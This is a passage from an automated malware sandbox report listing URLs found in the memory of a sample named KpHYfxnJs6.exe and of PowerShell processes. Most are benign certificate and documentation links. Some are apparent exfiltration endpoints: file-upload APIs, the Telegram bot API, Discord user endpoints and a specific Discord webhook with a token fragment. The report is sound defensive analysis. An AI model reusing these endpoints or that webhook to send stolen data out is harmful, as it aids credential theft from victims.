Source: KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000002.2912329036.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000002.2912329036.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000046.00000002.2707327914.0000000004849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: KpHYfxnJs6.exe, 00000000.00000003.2051155474.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: KpHYfxnJs6.exe, 00000000.00000003.2051155474.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 0000000E.00000002.2538439375.0000000005126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000E.00000002.2538439375.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.2707327914.00000000046F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.2538439375.0000000005126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: KpHYfxnJs6.exe, 00000004.00000002.2889989783.00000000078A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: KpHYfxnJs6.exe, 00000000.00000003.2051155474.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: KpHYfxnJs6.exe, 00000000.00000003.2051155474.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: KpHYfxnJs6.exe, 00000000.00000003.2051155474.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000046.00000002.2707327914.0000000004849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: KpHYfxnJs6.exe, 00000004.00000003.2479999836.0000000007545000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479725177.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479963296.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479814100.000000000753E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2485485628.000000000754D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886303879.000000000754E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.0000000007531000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621699329.000000000754E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881124605.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2604998063.000000000753A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744888765.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744505869.0000000007534000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2646596317.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2617001102.000000000754D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880323805.000000000752A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484622291.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2636804800.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2616436229.000000000753A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881487113.000000000754D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: KpHYfxnJs6.exe, 00000004.00000003.2480053850.000000000750B000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479725177.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479963296.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479932107.0000000007506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: KpHYfxnJs6.exe, 00000004.00000003.2479999836.0000000007545000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479725177.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479963296.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479814100.000000000753E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: KpHYfxnJs6.exe, 00000004.00000003.2684913468.0000000009830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: KpHYfxnJs6.exe, 00000004.00000003.2679930473.000000000AB50000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684913468.0000000009830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 0000000E.00000002.2538439375.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.2707327914.00000000046F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadr
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr
Source: KpHYfxnJs6.exe, 00000004.00000002.2895190673.000000000AB10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.stripe.com/v
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: KpHYfxnJs6.exe, 00000004.00000003.2481397631.0000000007600000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2887221002.0000000007710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue42195.
Source: KpHYfxnJs6.exe, 00000004.00000002.2895031022.0000000009770000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: KpHYfxnJs6.exe, 00000004.00000002.2893281849.0000000007B2F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2741428739.0000000007B2F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743894441.0000000007B2F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2683915266.0000000007B2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: KpHYfxnJs6.exe, 00000000.00000003.2051155474.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: KpHYfxnJs6.exe, 00000000.00000003.2051155474.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: KpHYfxnJs6.exe, 00000000.00000003.2051155474.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: KpHYfxnJs6.exe, 00000004.00000002.2894515812.0000000007E50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1325289657537396889/J06FnIZUAv7ve4gZB3OnZqf37kI5zFxJAxHAJD7bveXtJPD
Source: KpHYfxnJs6.exe, 00000004.00000003.2743545312.0000000007A22000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2893281849.0000000007B2F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2891965646.0000000007A22000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2741428739.0000000007B2F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743894441.0000000007B2F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2683915266.0000000007B2F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2683735538.0000000007A20000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2895190673.000000000AB10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: KpHYfxnJs6.exe, 00000004.00000003.2477289912.0000000004E65000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2466905986.0000000004E66000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2475127207.0000000004E65000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2603116149.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484207815.0000000004E0A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2476647140.0000000004E65000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2474208164.0000000004E65000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884329550.0000000004E45000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881336814.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484268459.0000000004E67000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484460219.0000000004E68000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744996096.0000000004E44000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2466344184.0000000004E66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: KpHYfxnJs6.exe, 00000004.00000002.2883936645.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: KpHYfxnJs6.exe, 00000004.00000002.2884004752.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: KpHYfxnJs6.exe, 00000004.00000002.2884004752.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884068871.0000000004DD5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
